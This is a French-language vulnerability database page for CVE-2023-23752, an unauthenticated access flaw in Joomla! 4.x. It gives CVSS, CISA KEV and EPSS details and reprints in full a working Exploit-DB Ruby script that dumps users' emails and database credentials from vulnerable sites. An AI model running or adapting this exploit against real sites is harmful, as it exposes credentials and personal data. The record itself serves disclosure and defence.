CVE-2023-23752 : Détail

CVE-2023-23752

5.3
/
Moyen
A01-Broken Access Control
94.45%V4
Network
2023-02-16
16h25 +00:00
2024-08-03
04h33 +00:00
CVE.org
NVD
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Descriptions du CVE

[20230201] - Core - Improper access check in webservice endpoints

An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-284 Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 5.3 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Joomla! Improper Access Control Vulnerability

Action requise : Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2024-01-07 23h00 +00:00

Action attendue : 2024-01-28 23h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 51334

Date de publication : 2023-04-07 22h00 +00:00
Auteur : Alexandre ZANNI
EDB Vérifié : Yes

#!/usr/bin/env ruby # Exploit ## Title: Joomla! v4.2.8 - Unauthenticated information disclosure ## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr) ## Author website: https://pwn.by/noraj/ ## Exploit source: https://github.com/Acceis/exploit-CVE-2023-23752 ## Date: 2023-03-24 ## Vendor Homepage: https://www.joomla.org/ ## Software Link: https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.tar.gz?format=gz ## Version: 4.0.0 < 4.2.8 (it means from 4.0.0 up to 4.2.7) ## Tested on: Joomla! Version 4.2.7 ## CVE : CVE-2023-23752 ## References: ## - https://nsfocusglobal.com/joomla-unauthorized-access-vulnerability-cve-2023-23752-notice/ ## - https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html ## - https://attackerkb.com/topics/18qrh3PXIX/cve-2023-23752 ## - https://nvd.nist.gov/vuln/detail/CVE-2023-23752 ## - https://vulncheck.com/blog/joomla-for-rce ## - https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-23752.yaml # standard library require 'json' # gems require 'httpx' require 'docopt' require 'paint' doc = <<~DOCOPT #{Paint['Joomla! < 4.2.8 - Unauthenticated information disclosure', :bold]} #{Paint['Usage:', :red]} #{__FILE__} <url> [options] #{__FILE__} -h | --help #{Paint['Parameters:', :red]} <url> Root URL (base path) including HTTP scheme, port and root folder #{Paint['Options:', :red]} --debug Display arguments --no-color Disable colorized output (NO_COLOR environment variable is respected too) -h, --help Show this screen #{Paint['Examples:', :red]} #{__FILE__} http://127.0.0.1:4242 #{__FILE__} https://example.org/subdir #{Paint['Project:', :red]} #{Paint['author', :underline]} (https://pwn.by/noraj / https://twitter.com/noraj_rawsec) #{Paint['company', :underline]} (https://www.acceis.fr / https://twitter.com/acceis) #{Paint['source', :underline]} (https://github.com/Acceis/exploit-CVE-2023-23752) DOCOPT def fetch_users(root_url, http) vuln_url = "#{root_url}/api/index.php/v1/users?public=true" http.get(vuln_url) end def parse_users(root_url, http) data_json = fetch_users(root_url, http) data = JSON.parse(data_json)['data'] users = [] data.each do |user| if user['type'] == 'users' id = user['attributes']['id'] name = user['attributes']['name'] username = user['attributes']['username'] email = user['attributes']['email'] groups = user['attributes']['group_names'] users << {id: id, name: name, username: username, email: email, groups: groups} end end users end def display_users(root_url, http) users = parse_users(root_url, http) puts Paint['Users', :red, :bold] users.each do |u| puts "[#{u[:id]}] #{u[:name]} (#{Paint[u[:username], :yellow]}) - #{u[:email]} - #{u[:groups]}" end end def fetch_config(root_url, http) vuln_url = "#{root_url}/api/index.php/v1/config/application?public=true" http.get(vuln_url) end def parse_config(root_url, http) data_json = fetch_config(root_url, http) data = JSON.parse(data_json)['data'] config = {} data.each do |entry| if entry['type'] == 'application' key = entry['attributes'].keys.first config[key] = entry['attributes'][key] end end config end def display_config(root_url, http) c = parse_config(root_url, http) puts Paint['Site info', :red, :bold] puts "Site name: #{c['sitename']}" puts "Editor: #{c['editor']}" puts "Captcha: #{c['captcha']}" puts "Access: #{c['access']}" puts "Debug status: #{c['debug']}" puts puts Paint['Database info', :red, :bold] puts "DB type: #{c['dbtype']}" puts "DB host: #{c['host']}" puts "DB user: #{Paint[c['user'], :yellow, :bold]}" puts "DB password: #{Paint[c['password'], :yellow, :bold]}" puts "DB name: #{c['db']}" puts "DB prefix: #{c['dbprefix']}" puts "DB encryption #{c['dbencryption']}" end begin args = Docopt.docopt(doc) Paint.mode = 0 if args['--no-color'] puts args if args['--debug'] http = HTTPX display_users(args['<url>'], http) puts display_config(args['<url>'], http) rescue Docopt::Exit => e puts e.message end

Products Mentioned

Configuraton 0

Joomla>>Joomla\! >> Version From (including) 4.0.0 To (excluding) 4.2.8

Références